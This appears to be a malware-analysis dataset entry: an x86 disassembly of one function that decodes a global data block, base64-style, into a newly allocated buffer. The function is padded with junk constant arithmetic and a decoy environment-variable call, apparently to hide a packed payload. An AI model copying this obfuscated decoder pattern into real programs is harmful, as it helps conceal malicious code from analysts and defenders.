Function at 0x401490
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x428
push ebx
push esi
push edi
push dword [0x4ba5c4]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [esp + 0x24], 0
mov dword [esp + 0xc], 0xad546aca
shr ebx, 0x1a
sub dword [esp + 0xc], 0x26dbf156
add dword [esp + 0xc], 0x6f7bcaae
shl eax, 0
sub dword [esp + 0xc], 0x533d8c40
add dword [esp + 0xc], 0x5d49481e
shr eax, 0x1f
sub dword [esp + 0xc], 0x15b57c08
shl eax, 0xb
add dword [esp + 0xc], 0x15b57c08
mov eax, 0x66f892f4
sub dword [esp + 0xc], 0x38ec9c72
xor eax, 0x7e1ea2b8
add dword [esp + 0xc], 0x31fe7146
shr ebx, 2
add dword [esp + 0xc], 0x6ee2b2c
shl ebx, 1
shl eax, 1
sub dword [esp + 0xc], 0x714322bc
and ebx, 0x7573bc9f
add dword [esp + 0xc], 0x714322c0
xor edi, edi
cmp dword [0x4ba5c4], edi
jbe 0x4017d8
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea esp, [esp]
mov eax, dword [0x4b623c]
mov cl, byte [eax + edi]
mov dh, byte [eax + edi + 3]
mov byte [esp + 0x22], cl
mov cl, byte [eax + edi + 1]
mov byte [esp + 0x23], cl
mov cl, byte [eax + edi + 2]
mov byte [esp + 0x33], cl
mov dword [esp + 0x1c], 0
sub dword [esp + 0x1c], 0x14f52a4c
and ebx, 0x53e18c87
sub dword [esp + 0x1c], 0x1928cac8
add dword [esp + 0x1c], 0x2e1df514
xor eax, 0x6fc89bd1
xor eax, 0x566477a9
sub dword [esp + 0x1c], 0x60e0f4b8
shl eax, 0x17
add dword [esp + 0x1c], 0x60e0f4b8
shr eax, 0x1e
sub dword [esp + 0x1c], 0x441de074
add dword [esp + 0x1c], 0x441de074
sub dword [esp + 0x1c], 0x45986b6e
and ebx, 0x158cfb06
add dword [esp + 0x1c], 0x45986b70
mov ecx, dword [esp + 0x1c]
mov dl, dh
shl dl, cl
mov dword [esp + 0x14], 0xce1ad7a4
mov ebx, 0x5cc09aa0
add dword [esp + 0x14], 0x31e5285c
sub dword [esp + 0x14], 0x42c13dc
shr ebx, 2
add dword [esp + 0x14], 0x42c13dc
and eax, 0x32bb9e5b
sub dword [esp + 0x14], 0x5228f6ba
and ebx, 0x37694b21
add dword [esp + 0x14], 0x38d5847a
sub dword [esp + 0x14], 0x481212fc
add dword [esp + 0x14], 0x6165853c
and ebx, 0x3703a181
sub dword [esp + 0x14], 0x16c4d764
shr ebx, 0x1f
sub dword [esp + 0x14], 0x2c4fb9ba
add dword [esp + 0x14], 0x4314911e
add dword [esp + 0x14], 0xc0
movzx eax, byte [esp + 0x14]
and al, dl
mov dword [esp + 0x2c], 0
or byte [esp + 0x22], al
and ebx, 0xde01aab
and ebx, 0x7982c1d3
sub dword [esp + 0x2c], 0x1974787e
add dword [esp + 0x2c], 0x1974787e
mov eax, 0x4bec09ba
shl ebx, 0x17
add dword [esp + 0x2c], 4
mov ecx, dword [esp + 0x2c]
mov dl, dh
shl dl, cl
mov dword [esp + 0x24], 0xc884dcc6
xor eax, 0xe90c026
sub dword [esp + 0x24], 0x1b71e930
sub dword [esp + 0x24], 0x240ee6bc
shl ebx, 0x16
add dword [esp + 0x24], 0x76fbf326
sub dword [esp + 0x24], 0x3639cfe8
mov ebx, 0x7cb32cf1
add dword [esp + 0x24], 0x3639d0a8
movzx eax, byte [esp + 0x24]
and al, dl
mov dword [esp + 0x18], 0xf5b41abc
or byte [esp + 0x23], al
shr ebx, 0x15
sub dword [esp + 0x18], 0x46cde9fe
add dword [esp + 0x18], 0x5119cf42
and ebx, 0x67791fd
sub dword [esp + 0x18], 0x4b030d5c
add dword [esp + 0x18], 0x2c67fe84
xor ebx, 0x25413588
sub dword [esp + 0x18], 0x57c48ca
shr ebx, 2
sub dword [esp + 0x18], 0x39aa2b58
and eax, 0x61176c7e
add dword [esp + 0x18], 0x5dc182fa
shr ebx, 0x11
sub dword [esp + 0x18], 0x1661982
shr ebx, 0xa
add dword [esp + 0x18], 0x1661982
add dword [esp + 0x18], 6
mov ecx, dword [esp + 0x18]
shl dh, cl
mov dword [esp + 0x34], 0
add dword [esp + 0x34], 0xc0
movzx eax, byte [esp + 0x34]
mov bl, byte [esp + 0x33]
and al, dh
or bl, al
cmp dword [0x4ba5c4], 0x869
jne 0x40179b
push 0
lea eax, [esp + 0x3c]
push eax
push str.Leda_zocopisa
call ebp
mov eax, dword [esp + 0x28]
mov cl, byte [esp + 0x22]
mov byte [eax + esi], cl
mov eax, dword [esp + 0x28]
mov cl, byte [esp + 0x23]
inc eax
mov dword [esp + 0x28], eax
mov byte [eax + esi], cl
mov eax, dword [esp + 0x28]
inc eax
mov dword [esp + 0x28], eax
mov byte [eax + esi], bl
add dword [esp + 0x28], 1
add edi, dword [esp + 0x10]
cmp edi, dword [0x4ba5c4]
jb 0x401550
pop ebp
mov eax, dword [esp + 0x24]
pop edi
mov dword [0x4b623c], esi
pop esi
mov dword [0x4ba5c4], eax
pop ebx
add esp, 0x428
ret